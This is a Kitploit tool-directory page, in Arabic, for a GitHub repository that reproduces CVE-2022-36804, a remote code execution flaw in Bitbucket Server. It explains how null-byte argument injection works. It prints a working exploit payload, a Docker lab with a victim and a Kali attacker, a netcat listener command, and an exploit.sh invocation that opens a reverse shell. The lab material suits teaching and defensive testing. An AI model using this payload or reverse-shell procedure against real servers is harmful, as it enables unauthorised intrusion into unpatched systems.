Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-36804-Bitbucket-RCE-Analysis — إعادة إنتاج كاملة السلسلة لثغرة CVE-2022-36804 (RCE في Bitbucket). يتضمن مختبرًا مبنيًا على Docker، ومراقبة عبر pspy64 للتحقق من حقن البايت الفارغ، وسكربت استغلال Bash مخصص. استنادًا إلى أبحاث Assetnote. | Kitploit
أدوات/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

إعادة إنتاج كاملة السلسلة لثغرة CVE-2022-36804 (RCE في Bitbucket). يتضمن مختبرًا مبنيًا على Docker، ومراقبة عبر pspy64 للتحقق من حقن البايت الفارغ، وسكربت استغلال Bash مخصص. استنادًا إلى أبحاث Assetnote.

عرض المستودع
14منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-36804: تنفيذ الأوامر عن بُعد في Bitbucket (RCE)

تحليل تقني واستغلال مخبري لحقن وسائط البايت الفارغ (Null-Byte Argument Injection)

ملخص الثغرة الأمنية

CVE-2022-36804 هي ثغرة حقن وسائط (Argument Injection) بدرجة خطورة عالية/حرجة ضمن REST API الخاصة بخوادم Atlassian Bitbucket Server وData Center.

في حين أن الدرجة الأساسية الصادرة عن قاعدة بيانات الثغرات الوطنية NVD هي 8.8 (عالية) استنادًا إلى افتراض الحاجة إلى صلاحيات قراءة (PR:L)، فإن هذا التحليل يتعامل معها باعتبارها عيبًا بدرجة 9.8 (حرجة) (PR:N). إذا كان المستودع الهدف يتيح الوصول العام — وهو إعداد شائع — يصبح متجه الاستغلال بالكامل قبل المصادقة.

يوثّق هذا المستودع إعادة إنتاج مخبرية كاملة لسلسلة الاستغلال، استنادًا مباشرةً إلى البحث التقني المنشور من قبل Assetnote.

يتناول التحليل الانتقال من تنسيق البيئة وتجاوز مرشحات الأمان إلى الوصول إلى قشرة عكسية تفاعلية. وكما هو موضح في الاكتشاف الأصلي، يسمح هذا العيب بـ تنفيذ الأوامر عن بُعد (RCE)، والذي يمكن استغلاله قبل المصادقة إذا كان المستودع الهدف يتيح الوصول العام.

الغوص التقني: عدم تطابق البايت الفارغ

تعود جذور الثغرة إلى "عدم تطابق مقاومة التعقيم (Sanitization Impedance Mismatch)" بين بيئة تشغيل Java ونظام التشغيل Linux.

كما أبرز بحث Assetnote، يستخدم Bitbucket مكتبة NuProcess لبناء أوامر Git وتنفيذها. عندما يوفّر المستخدم وسيط prefix لنقطة النهاية /archive، يفشل Bitbucket في إزالة الأحرف الخالية (%00) قبل تمرير قائمة الوسائط إلى نظام التشغيل.

  • وجهة نظر Java: تتعامل مع الإدخال ككائن سلسلة نصية واحد يحتوي بأمان على بايت فارغ.
  • وجهة نظر نواة Linux: النواة مكتوبة بلغة C وتستخدم الأحرف الخالية لإنهاء السلاسل النصية. عندما تعالج دالة execve() الأمر، تقطع السلسلة عند %00. وبسبب الطريقة التي يمرر بها NuProcess البيانات، يتعامل نظام التشغيل مع كل ما يلي البايت الفارغ باعتباره وسيطًا جديدًا تمامًا لسطر الأوامر.

من خلال حقن --exec=...، يخرق المهاجم علامة --prefix المقصودة ويجبر عملية git archive على تنفيذ برنامج ثنائي تعسفي، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE).

انقر للتوسيع: تشريح الحمولة و"إزاحة المصفوفة"

لفهم كيفية انتقال الاستغلال من معامل URL بسيط إلى أمر على مستوى نظام التشغيل، يجب علينا تفكيك بنية الحمولة وملاحظة "إزاحة المصفوفة".

1. تحليل الحمولة

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

المكوّنالغرضالدور التقني
prefix=xمتطلبيحتاج git archive إلى بادئة؛ تعمل x كقيمة مؤقتة.
%00السكينالبايت الفارغ. تمرره Java، لكن نواة Linux المبنية بلغة C تُنهي السلسلة هنا.
--exec=...مُطلق RCEالعلامة الخطيرة. تسيء استخدام ميزة Git المدمجة لتنفيذ برامج خارجية.
touch ...الفعلالأمر المطلوب تنفيذه. إثبات مفهوم آمن للتحقق من RCE.
--remote=...سلة المهملاتيستهلك معرّف الالتزام (Commit ID) (الذي يضيفه Bitbucket) كوسيط صالح، مما يضمن تنفيذ الأمر بشكل نظيف دون أخطاء في البنية.

2. "إزاحة المصفوفة" المصوّرة

يوضح هذا جوهر الثغرة: كيف يتم تحويل البيانات (بادئة دليل) إلى تعليمة (علامة أمر).

سياق تنفيذ Java (الحالة الأولية):

ترى Java سلسلة واحدة طويلة كوسيط ثالث.

[
  "git",                                      // Index 0
  "archive",                                  // Index 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Index 2: The single, polluted string
  "1a2b3c4d..."                               // Index 3: Appended by Bitbucket
]

تنفيذ نواة Linux (الحالة المستغلة):

استدعاء النواة execve() يقسم السلسلة عند كل بايت فارغ (\0)، لينقل العلامات المحقونة إلى مواضعها المستقلة الخاصة في مصفوفة وسائط العملية.

[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
  "archive",                                  // argv[1]: Subcommand
  "--prefix=x",                               // argv[2]: Terminated early by %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: THE INJECTED FLAG (RCE)
  "--remote=file:///",                        // argv[4]: THE TRASHCAN (Redirects logic)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Consumed by --remote)
]

الإعداد المخبري

لمحاكاة سطح هجوم واقعي، تستخدم البيئة المخبرية بنية من حاويتين معزولتين داخل شبكة Docker جسرية (hacking_net). يضمن هذا الإعداد إمكانية تنفيذ الاستغلال والمراقبة في بيئة خاضعة للسيطرة دون التأثير على النظام المضيف.

مكونات البنية

  • العقدة الضحية: تشغّل Atlassian Bitbucket Server الإصدار 7.17.1. تم تسمية الحاوية عمدًا باسم bitbucket-victim. يعكس هذا تحسينًا تصميميًا حاسمًا تم إجراؤه لضمان الامتثال لإنفاذ RFC 7230 الخاص بـ Apache Tomcat. باستخدام واصلة بدلاً من شرطة سفلية، تتجنب البيئة أخطاء "الحرف غير الصالح" (Invalid Character) برمز 400 التي تحدث أثناء تنفيذ الحمولة — وهي عقبة تقنية رئيسية تم تحديدها وحلها خلال مرحلة البحث.

  • عقدة المهاجم: صورة Kali Linux المتجددة مصممة خصيصًا. بخلاف الصورة القياسية، تكون هذه العقدة مجهزة مسبقًا بمجموعة الأدوات المحددة المطلوبة لسلسلة الاستغلال هذه: git للتلاعب بالمستودعات، وcurl لتسليم الحمولة، وnetcat-traditional لالتقاط القشرة العكسية.

docker-compose.yml (إصدار متوافق مع RFC الخاص بـ Tomcat)
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

dockerfile (عقدة المهاجم)
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

التحقق المخبري (المسار السريع)

إذا كنت قد جهزت البيئة بالفعل باستخدام docker-compose.yml الموضح أعلاه، يمكنك استخدام سكربت exploit.sh المرفق للتحقق من الثغرة والحصول على قشرة عكسية في ثوانٍ. 1. تجهيز المستمع

على عقدة المهاجم Kali (أو الجهاز المضيف)، ابدأ مستمع netcat لالتقاط القشرة:

nc.traditional -lvnp 4444

2. تنفيذ الاستغلال

شغّل السكربت بتوفير عنوان IP الخاص بـ Bitbucket المستهدف، واسم المشروع/المستودع، وبيانات المستمع الخاص بك:

# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>

chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444

3. التحقق من الوصول

بمجرد تنفيذ السكربت، تحقق من طرفية netcat. يجب أن تحصل على جلسة تفاعلية كمستخدم bitbucket.

whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)

التنفيذ خطوة بخطوة واستكشاف الأخطاء وإصلاحها

فيما يلي سجل التنفيذ الخام لجلسة المختبر، الذي يوضح الانتقال من إعداد البيئة إلى قشرة عكسية تفاعلية بالكامل، بما في ذلك خطوات استكشاف الأخطاء وإصلاحها المطلوبة لتجاوز منطق التطبيق وقيود خادم الويب.

تنزيل الأداة